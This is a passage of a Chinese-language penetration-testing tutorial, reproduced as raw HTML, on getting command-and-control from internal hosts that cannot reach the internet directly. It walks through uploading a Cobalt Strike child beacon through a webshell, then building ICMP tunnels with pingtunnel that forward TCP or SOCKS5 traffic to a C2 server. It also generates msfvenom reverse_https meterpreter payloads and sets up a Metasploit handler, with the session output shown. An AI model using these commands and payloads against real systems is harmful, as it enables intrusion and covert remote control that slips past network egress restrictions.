&#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"/><span style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;background-color: rgb(255, 255, 255);">6.生成stageless的子beacon</span></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6312849162011173" data-s="300,640" style="width: 578px;height: auto;" data-type="png" data-w="716" src="https://wechat2rss.xlab.app/img-proxy/?k=307e445b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2KJ5nD02NOEpRa8ia8ZZ9f13YGbq1wrNF7jicKoWE1KUuZoKPpRtY9skXQd7YCibPrK3Pg8ehWSLCHA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><br/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;">7.将生成的子beacon通过webshell上传执行</span></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;padding-top: 15px;overflow: hidden;font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;"># 可以通过webshell查看网络监听，确保子beacon执行成功</span><br/><span style="height: 1.3em;font-size: 13px;">netstat -ano | findstr 127.0.0.1:8888</span><br/></pre></td></tr></tbody></table></figure><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">8.在父beacon中连接abptts的监听ip和端口</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5847240051347882" data-s="300,640" style="" data-type="png" data-w="3116" src="https://wechat2rss.xlab.app/img-proxy/?k=3aaf01be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2KJ5nD02NOEpRa8ia8ZZ9f1C4qF9GtWhMSIicNkMiaXuT0YmwCxGTu5NjM5wgnlbuYF9r7JXdmO9c5w%2F640%3Fwx_fmt%3Dpng"/></p><p><br/><span style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;background-color: rgb(255, 255, 255);"></span></p><p><span style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;background-color: rgb(255, 255, 255);">9.成功上线不能出网的webshell内网主机</span></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5872504829362524" data-s="300,640" style="" data-type="png" data-w="3106" src="https://wechat2rss.xlab.app/img-proxy/?k=929811c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2KJ5nD02NOEpRa8ia8ZZ9f1GTSGia1oyLQ0E1tmtpkpYe3QEVKDk3gcBIV2TDBR5WJEk9v3LMCgJIg%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);">0x3.2 上线仅icmp协议出网的内网主机</h3><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"><span style="font-weight: bolder;">实战背景：</span>通过某种信道获取了内网主机的shell，但是当前信道不适合做远控的通信信道（比如站库分离的网站，我们通过sql注入获取了数据库服务器的shell，但是数据库服务器只有icmp协议可以出网），tcp和udp等传输层协议不能出网，dns、http等应用层协议也不能出网，只有icmp协议可以出网。</p><h4 style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">方案设计</h4><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">icmp协议可以出网，可以利用icmp协议，构建反向的<code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">TCP over ICMP</code>隧道或者<code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">SOCKS over ICMP</code>隧道上线远控平台。搭建隧道的工具使用pingtunnel，它能通过icmp隧道转发tcp、udp、socks5连接。</p><h4 style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">0x3.2.1 icmp隧道转发tcp上线metasploit</h4><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">1.准备好一个具有公网ip的服务器，root权限运行以下命令，启动ICMP隧道服务端</p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;padding-top: 15px;overflow: hidden;font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;">./pingtunnel -type server -noprint 1 -nolog 1</span><br/></pre></td></tr></tbody></table></figure><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">2.ICMP隧道客户端（即需要通过ICMP隧道上线的主机）执行以下命令即可成功创建反向ICMP隧道</p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;padding-top: 15px;overflow: hidden;font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;">pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1</span><br/><span style="height: 1.3em;font-size: 13px;"># 该命令的意思是icmp客户端监听127.0.0.1:9999，通过连接到icmpserver_ip的icmp隧道，将127.0.0.1:9999收到的tcp数据包转发到c2_server_ip:7777</span><br/></pre></td></tr></tbody></table></figure><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">3.生成反向payload的meterpreter并上传到ICMP隧道客户端执行即可上线</p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;padding-top: 15px;overflow: hidden;font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;">msfvenom -p windows/meterpreter/reverse_https lhost=127.0.0.1 lport=9999 -f exe -o meterpreter.exe</span><br/><span style="height: 1.3em;font-size: 13px;"># 这里的lhost和lport为icmp客户端监听ip和端口</span><br/></pre></td></tr></tbody></table></figure><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">4.启动msf监听，等待meterpreter执行上线</p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;padding-top: 15px;overflow: hidden;font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="645"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 645.844px;"><span style="height: 1.3em;font-size: 13px;"># 这里的lhost和lport为icmp客户端转发到的ip和端口</span><br/><span style="height: 1.3em;font-size: 13px;"></span><br/><span style="height: 1.3em;font-size: 13px;">msf5 &gt; use exploit/multi/handler</span><br/><span style="height: 1.3em;font-size: 13px;">msf5 exploit(multi/handler) &gt; set payload windows/meterpreter/reverse_https</span><br/><span style="height: 1.3em;font-size: 13px;">payload =&gt; windows/meterpreter/reverse_https</span><br/><span style="height: 1.3em;font-size: 13px;">msf5 exploit(multi/handler) &gt; set lhost 0.0.0.0</span><br/><span style="height: 1.3em;font-size: 13px;">lhost =&gt; 0.0.0.0</span><br/><span style="height: 1.3em;font-size: 13px;">msf5 exploit(multi/handler) &gt; set lport 7777</span><br/><span style="height: 1.3em;font-size: 13px;">lport =&gt; 7777</span><br/><span style="height: 1.3em;font-size: 13px;">msf5 exploit(multi/handler) &gt; run</span><br/><span style="height: 1.3em;font-size: 13px;"></span><br/><span style="height: 1.3em;font-size: 13px;">[*] Started HTTPS reverse handler on <a href="https://0.0.0.0:7777" target="_blank">https://0.0.0.0:7777</a></span><br/><span style="height: 1.3em;font-size: 13px;"></span><br/><span style="height: 1.3em;font-size: 13px;">meterpreter &gt; getuid</span><br/><span style="height: 1.3em;font-size: 13px;">Server username: DESKTOP-test0\admin</span><br/></pre></td></tr></tbody></table></figure><h4 style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">0x3.2.2 icmp隧道转发socks上线metasploit</h4><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">1.准备好一个具有公网ip的服务器，root权限运行以下命令，启动ICMP隧道服务端</p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;padding-top: 15px;overflow: hidden;font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;">./pingtunnel -type server -noprint 1 -nolog 1</span><br/></pre></td></tr></tbody></table></figure><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">2.ICMP隧道客户端（即需要通过ICMP隧道上线的主机）执行以下命令即可成功创建反向ICMP隧道</p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;padding-top: 15px;overflow: hidden;font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;">pingtunnel.exe -type client -l 127.0.0.1:6688 -s icmpserver_ip -sock5 1 -nolog 1 -noprint 1</span><br/><span style="height: 1.3em;font-size: 13px;"># 该命令的意思是icmp隧道客户端监听127.0.0.1:6688启动socks5服务，通过连接到icmpserver_ip的icmp隧道，由icmpserver转发socks5代理请求到目的地址</span><br/></pre></td></tr></tbody></table></figure><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">3.生成支持socks5代理的反向payload的meterpreter并上传到ICMP隧道客户端执行即可上线</p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;padding-top: 15px;overflow: hidden;font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;">msfvenom -p windows/meterpreter/reverse_https LHOST=c2_server_ip LPORT=8443 HttpProxyType=SOCKS HttpProxyHost=127.0.0.1 HttpProxyPort=6688 -f exe -o meterpreter.exe</span><br/></pre></td></tr></tbody></table></figure><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">4.启动msf监听，等待meterpreter执行上线</p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;padding-top: 15px;overflow: hidden;font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="645"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 